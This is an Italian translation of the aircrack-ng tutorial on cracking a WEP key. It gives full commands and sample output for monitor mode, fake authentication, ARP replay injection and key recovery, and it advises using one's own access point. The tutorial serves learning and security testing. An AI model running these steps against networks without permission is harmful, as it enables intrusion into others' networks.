[aircrack-ng] Tutorial: Simple WEP Crack

Printer-friendly versionPrinter-friendly version
Aircrack-Logo

Version: 1.09 December 28, 2008
By: darkAudax
Italian translation: ~redShadow~

Introduzione

Questo tutorial illustra un semplice caso di cracking di una chiave WEP. Lo scopo di questo tutorial è fornire le conoscenze basilari e rendere familiari con i concetti. Assume che tu abbia una scheda wireless funzionante con i driver già patchati per l'iniezione di pacchetti.

Per una guida per niubbi, vedi la Linux Newbie Guide [0]. Anche se questo tutorial non copre tutti i passi, cerca di fornire esempi molto più dettagliati dei passi da seguire per craccare una chiave WEP, e in più spiega le ragioni e il retroscena di ogni passo.
Per maggiori informazioni sull'installazione di aircrack-ng, vedere Installing Aircrack-ng [1] e per installare i driver vedere Installing Drivers.

Si raccomanda di fare esperimenti con il proprio access-point di casa per aquisire familiarità con queste idee e tecniche. Se non possiedi un particolare access point, ricordati di ottenere il permesso del proprietario prima di giocarci.

Vorrei ringraziare il team di Aircrack-ng per aver creato uno strumento così potente e robusto.

È ben accetto ogni feedback costruttivo, positivo o negativo.
Ulteriori idee per la risoluzione di problemi e consigli sono particolarmente benvenuti.

Presupposizioni

Per prima cosa la soluzione assume che:

  • Stai usando driver parchati per l'iniezione. Usa il test di iniezione [3] per confermare che la tua scheda possa realmente iniettare pacchetti prima di procedere.
  • Sei fisicamente abbastanza vicino per inviare e ricevere pacchetti dall'access-point. Ricorda che il fatto di riuscire a ricevere pacchetti dall'access-point non da la certezza di riuscire a trasmettere pacchetti all'AP. Tipicamente, la potenza della scheda wireless è inferiore a quella dell'AP. Quindi, devi essere abbastanza vicino perché i pacchetti trasmessi possano raggiungere ed essere ricevuti dall'AP. Dovresti confermare che puoi comunicare con uno specifico AP seguendo queste istruzioni [4].
  • C'è almeno un client via cavo/wireless connesso alla rete ed attivo. La ragione è che questo tutorial dipende sul ricevere almeno una richiesta ARP e se non ci sono client attivi, non ci saranno richeste di pacchetti ARP.
  • Stai usando la versione 0.9 di aircrack-ng. Se stai usando una versione diversa, alcune delle opzioni potrebbero essere cambiate.

Assicurati che tutte le presupposizioni siano confermate, altrimenti il tutorial che segue non funzionerà. Negli esempi che seguono, devi sostituire "ath0" con il nome dell'interfaccia corrispondente alla tua scheda wireless.

Strumenti utilizzati

In questo tutorial, verranno usati:

  • MAC address del PC su cui gira aircrack-ng: 00:0F:B5:88:AC:82
  • BSSID (MAC address dell'access point): 00:14:6C:7E:40:80
  • ESSID (Nome della rete wireless): teddy
  • Canale dell'access point: 9
  • Interfaccia wireless: ath0

Dovresti ottenere le informazioni equivalenti per la rete su cui stai lavorando.
Quindi, cambia semplicemente i valori negli esempi seguenti per la rete specifica

Soluzione

Panoramica

Per craccare la chiave WEP di un access point, serve ottenere un sacco di vettori di inizializazione (IV, Initialization Vectors). Il normale traffico di rete non genera questi IV molto velocemente. Teoricamente, se sei paziente, potresti ottenere abbastanza IV da craccare la chiave WEP semplicemente ascoltando il traffico di rete e salvandolo. Siccome nessuno di noi è paziente, useremo una tecnica chiamata iniezione per accelerare il processo. L'iniezione fa in modo che l'AP ritrasmetta i pacchetti selezionati di continuo molto velocemente. Questo ci permette di catturare un grande numero di IV in un breve periodo di tempo.

Una volta catturato un grande numero di IV, possiamo usarli per determinare la chiave WEP.

I passaggi base da seguire sono:

  1. Inizializzare l'interfaccia wireless in modalità monitor sul canale dell'AP
  2. Testare la possibilità di iniettare pacchetti dall'interfaccia all'AP
  3. Usare aireplay-ng per creare un'autenticazione fasulla con l'AP
  4. Lanciare airodump-ng sul canale dell'AP con un filtro sul bssid per raccogliere i nuovi IV unici
  5. Lanciare aireplay-ng in modalità di replay delle richieste ARP per iniettare i pacchetti
  6. Lanciare aircrack-ng per craccare la chiave usando gli IV raccolti

Passo 1 - Inizializzare l'interfaccia wireless in modalità monitor sul canale dell'AP

L'obiettivo di questo passaggio è mettere la scheda nella cosiddetta modalità monitor.
La modalità monitor e una modalità in cui la tua scheda può ascoltare qualsiasi pacchetto che passa per l'aria. Normalmetne, la tua scheda "ascolta" solo i pacchetti ad essa indirizzati. Ascoltando ogni pacchetto, potremo in un secondo tempo selezionarne alcuni per l'iniezione.
Di conseguenza, solo (ci sono alcune rare eccezioni) in modalità monitor si può effettuare l'iniezione di pacchett. (Nota: questa procedura è diversa per le schede non-Atheros.)

Per prima cosa, spegnere l'interfaccia ath0:

airmon-ng stop ath0   
 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Lanciare iwconfig per assicurarsi che non ci siano altre interfacce athX.
Il risultato dovrebbe essere qualcosa simile a:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

Se ci sono altre interfacce athX, spegnile tutte.
Quando hai finito, esegui nuovamente "iwconfig" per assicurarti che non ne rimanga nessuna.

Quindi, esegui il comando seguente per inizializzare la scheda wireless in modalità monitor sul canale 9

airmon-ng start wifi0 9

Sostituisci il numero del canale con quello sui cui gira l'AP.
Questo è importante. La scheda dev'essere bloccta sul canale dell'AP affinché i passaggi successivi riescano correttamente.

Nota: nel comando usiamo wifi0 anziché ath0. Questo è perché i driver madwifi-ng sono in uso. Per gli altri driver, usa il nome dell'interfaccia wireless. Es: "wlan0" o "rausb0".

Output:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Noterai che ath0 è riportata come in modalità monitor.

Per confermare che tutto sia ok, lancia nuovamente "iwconfig"

Output:

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Nella risposta precedente, puoi vedere che ath0 è in modalità monitor, sulla frequenza di 2.452GHz, corrispondete al canale 9, e che l'Access Point mostra il MAC address della tua scheda wireless. Nota ce solo i driver madwifi-ng mostrano il MAC address della tua scheda wireless, gli altri non lo ganno. Quindi è tutto ok. È importante confermare tutte queste informazioni prima di procedere, altrimenti i passaggi successivi non funzioneranno correttamente.

Per collegare la frequenza al canale, vedere http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels [5] e selezionare la scheda "Wifi Channel Selection and Channel Overlap". Questo ti da la frequenza per ogni canale.

Passo 2 - Testare la possibilità di iniettare pacchetti

L'obiettivo di questo passaggio è assicurarsi che la tua scheda sia sufficentemente vicina all'AP per poter iniettare pacchetti verso di esso.

Digita:

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0

Dove:

  • -9 significa test di iniezione
  • -e teddy è il nome della rete wireless (ESSID)
  • -a 00:14:6C:7E:40:80 è il MAC address dell'AP (BSSID)
  • ath0 è il nome dell'interfaccia wireless

L'output dovrebbe essere qualcosa del tipo:

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP 
 
 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
 09:23:39  30/30: 100%

L'ultima riga è importante. In condizioni ideali dovrebbe dire 100% o una percentuale molto alta. Se è bassa, allora sei troppo lontano dall'AP o troppo vicino. Se è zero, l'iniezione non sta funzionando e devi patchare i tuoi driver o usare driver diversi.

Vedere the injection test [6] per maggiori dettagli.

Step 3 - Usare airodump-ng per catturare gli IV

Lo scopo di questo passaggio è catturare gli IV generati, usando airodump-ng per catturare gli IV di uno specifico AP.

Apri un'altra sessione di console per catturare gli IV generati, qsuindi esegui il comando:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

Dove:

  • -c 9 è il canale della rete wireless
  • --bssid 00:14:6C:7E:40:80 è il MAC Address dell'access point. Questo elimina il traffico estraneo.
  • -w capture È il prefisso per il nome del file che conterrà gli IV.
  • ath0 è il nome dell'interfaccia.

Mentre l'iniezione avrà corso (successivamente), la schermata assomiglierà a questo:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 
                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                            
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           
                                                                                                            
 BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                            
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  

Step 4 - Usare aireplay-ng per ottenere un'autenticazione fasulla con l'access point

Perché l'access point accetti un pacchetto, il MAC Address sorgente dev'essere già associato.
Se l'indirizzo MAC di sorgente da cui stai iniettando non è associato, l'AP ignora i pacchetti e invia un pacchetto di "DeAutenticazione" in chiaro.
In questo stato, non sono creati nuovi IV perché l'AP sta ignorando tutti i pacchetti iniettati.

La mancanza di associazione con l'AP è la più frequente ragione per cui l'iniezione fallisce. Ricorda la regola d'oro: il MAC che usi per l'iniezione dev'essere associato con l'AP usando l'autenticazione fasulla o usando il MAC di un client già associato.

Per ottenere autenticazione con un accesspoint, usa l'autenticazione fasulla:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Dove:

  • -1 significa autenticazione fasulla
  • 0 è il tempo di riassociazione in secondi
  • -e teddy è il nome della rete wireless (ESSID)
  • -a 00:14:6C:7E:40:80 è il MAC address dell'AP (BSSID)
  • -h 00:0F:B5:88:AC:82 è l'indirizzo MAC della nostra scheda
  • ath0 è il nome dell'interfaccia wireless

In caso di successo comparirà un messaggio del genere:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Una variante per AP schizzinosi :)

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Dove:

  • 6000 - Reautentica ogni 6000 secondi. Il periodo lungo causa anche l'invio di pacchetti di keep-alive.
  • -o 1 - Invia solo un set di pacchetti per volta. Di default è un multiplo, e può confondere certi AP.
  • -q 10 - Invia pacchetti di keep-alive ogni 10s.

Un'esecuzione riuscita genera un output simile a:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Mentre in caso di autenticazione fallita:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notare il "Got a deauthentication packet" e i continui tentativi sopra.
Non procedere al passaggio successivo finché l'autenticazione fasulla non riesce.

Risoluzione di problemi

Alcuni accesspoint sono configurati per accettare associazione e connessione solo da alcuni MAC address. In questo caso, per mettere in pratica l'autenticazione fasulla bisogna conoscere uno dei MAC address della lista.
Se sospetti sia questo il problema, usa il comando seguente mentre tenti di eseguire l'autenticazione fasulla. Apri un'altra shell ed esegui:

tcpdump -n -vvv -s0 -e -i  | grep -i -E ”(RA:|Authentication|ssoc)”

Quindi cerca gli eventuali messaggi di errore

Se in qualsiasi momento vuoi confermare di essere associato, usa tcpdump per guardare i pacchetti trasmessi:

tcpdump -n -e -s0 -vvv -i ath0

Questo è un tipico messaggio di errore di tcpdump nel caso la scheda non sia associata all'AP:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Notare che l'access point (00:14:6c:7e:40:80) sta dicendo alla sorgente (00:0F:B5:88:AC:82) che non sei associato.
L'AP non processerà ne accetterà i pacchetti iniettati.

Se vuoi selezionare solo i pacchetti di DeAuth con tcpdump, puoi usare:

tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth

Potresti dover modificare la frase "DeAuth" per selezionare i pacchetti esatti che vuoi ottenere.

Passo 5 - Lanciare aireplay-ng in modalità replay delle richieste ARP

L'obiettivo di questo passaggio è lanciare aireplay-ng in una modalità che ascolta le richieste ARP e le reinvia indietro alla rete.
Per una spiegazione sul protocollo ARP vedere questa pagina di PC Magazine [7] oppure ARP su Wikipedia [8].
Il motivo per cui scegliamo le richieste ARP è perchè normalmente l'AP reinoltrarà tali richiesta sulla broadcast generando un nuovo IV. Di nuovo, questo è il nostro obiettivo, ottenere un grande numero di IV in un breve periodo di tempo.

Apri un'altra console ed esegui:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Questo inizierà ad ascoltare le richieste ARP e, ogni volta ricevuta una, aireplay-ng inizierà immediatamente a iniettarla. Sulla tua rete di casa, questo è un semplice modo per generare una richiesta ARP: su un PC via cavo, pinga un IP inesistente della tua LAN.

Mentre le richieste ARP stanno venendo iniettate, la schermata assomiglierà a:

 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

Puoi confermare che l'iniezione sta avendo luogo controllando la tua schermata di airodump-ng. I pacchetti di dati dovrebbero aumentare rapidamente.

Il "#/s" dovrebbe essere un numero decente. Comunque, "decente" dipende da una varietà di fattori. Un range tipico è tra 300 e 400 pacchetti al secondo. Solitamente è un numero compreso tra 100 e 500 pacchetti al secondo.

Risoluzione di problemi

Se ricevi un messaggio simile a "Got a deauth/disassoc packet. Is the source mac associated?", significa che hai perso l'associazione con l'AP. Tutti i tuoi pacchetti iniettati saranno ignorati. Devi ritornare al passaggio dell'autenticazione fasulla (Passo 3) e riassociarti con l'AP.

Passo 6 - Lancia aircrack-ng per ottenere la chiave WEP

L'obiettivo di questo passaggio è ottenere la chiave WEP dagli IV ottenuti nei passaggi precedenti.

Nota: a scopo di esempio, dovresti usare una WEP a 64bit sul tuo AP per accelerare il processo di cracking. Se è questo il caso, puoi includere "-n 64" per limitare il controllo delle chiavi a 64bit.

Due metodi saranno illustrati. Si raccomanda di provare entrambi per obiettivi educativo. Provando entrambi i metodi, vedrai quanto velocemente il metodo PTW determina con successo la chiave WEP, a confronto con il metodo FMS/Korek. Come promemoria, il metodo PTW funziona con successo solo con pacchetti di richiesta/risposta ARP. Siccome questo tutorial copre l'iniezione di pacchetti con richieste ARP, puoi usare propriamente questo metodo.
Un'altra richiesta, è che vengano catturati i pacchetti completi con airodump-ng.
In pratica, non usare l'opzione "--ivs".

Apri un'altra console ed esegui:

aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

Dove:

  • -z invoca il metodo di cracking WEP PTW.
  • -b 00:14:6C:7E:40:80 seleziona l'accesspoint a cui sei interessato.
    Questo è opzionale dal momento che quando abbiamo catturato originariamente i dati, abbiamo applicato un filtro per catturare solo i dati da questo AP.
  • output*.cap seleziona tutti i file che iniziano con "output" ed estensione ".cap".

Per usare anche il metodo FMS/KoreK, apri un'altra console ed esegui:

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Dove:

  • -b 00:14:6C:7E:40:80 seleziona l'accesspoint a cui sei interessato.
    È opzionale dal momento che quando abbiamo catturato originariamente i dati, è già stato applicato un filtro per ricevere dati solo da questo AP.
  • output*.cap seleziona tutti i file che iniziano con "output" e hanno estensione ".cap".

Se stai usando la versione 1.0-rc1, aggiungi l'opzione "-K" per l'attacco FMS/KoreK attack. (1.0-rc1 usa di default PTW.)

Puoi lanciare questo comando mentre stai generando i pacchetti. In un breve tempo, la chiave WEP sarà calcolata e presentata.
Serviranno circa 250000 IV per una chiave a 64bit e 1500000 per chiavi a 128bit. Se stai usando l'attacco PTW, serviranno 20000 pacchetti per 64bit e da 40000 a 85000 per 128 bit.
Questi valori sono molto approssimati e ci sono molte variabili che possono influire sul numero di quanti IV servono esattamente per craccare la chiave WEP.

Un messaggio di successo apparirà simile a:

                                              Aircrack-ng 0.9
 
 
                              [00:03:06] Tested 674449 keys (got 96610 IVs)
 
 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) 
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) 
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) 
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 
 
                       KEY FOUND! [ 12:34:56:78:90 ] 
      Probability: 100%

Nota che in questo caso sono serviti molti meno IV degli stimati 250000 per craccare la chiave. (Per questo esempio, è stato usato l'attacco FMS/KoreK.)

Risoluzione generale di problemi

Bibliografia

Questa è una traduzione in italiano della pagina: http://aircrack-ng.org/doku.php?id=simple_wep_crack

Links

[0] http://aircrack-ng.org/doku.php?id=newbie_guide
[1] http://aircrack-ng.org/doku.php?id=install_aircrack
[2] http://aircrack-ng.org/doku.php?id=install_drivers
[3] http://aircrack-ng.org/doku.php?id=injection_test
[4] http://aircrack-ng.org/doku.php?id=injection_test#hidden_or_specific_ssid
[5] http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels
[6] http://aircrack-ng.org/doku.php?id=injection_test
[7] http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&i=37988,00.asp
[8] http://en.wikipedia.org/wiki/Address_Resolution_Protocol
[9] http://aircrack-ng.org/doku.php?id=i_am_injecting_but_the_ivs_don_t_incr...

Who Am I?

~redShadow~ A.K.A. Samuele Santi is an Italian Open Source developer, currently working as a freelance developer, mainly in the web applications sector. Favourite programming languages: PHP and, of course, Python!

contact manager (1) algorythms (1) archive (1) backup (3) 3d (3) debian (1) camera mia (1) doku (1) e-mail (2) bash (11) citroen (1) debug (1) blender (3) curl (1) cars (1) caos (1) arduino (1) C++ (2) circuits (1) dmcrypt (1) alcool (1) awstats (3) blogroll (7) Drupal Forms (1) 2v (1) Drupal (21) database (3) development (11) apache (1) apt (1) aoe (1) cartoons (1) cocktails (1) cryptography (1) aircrack (1) address book (2) documentation (2) code (3) audio (1) como lake rovers (1)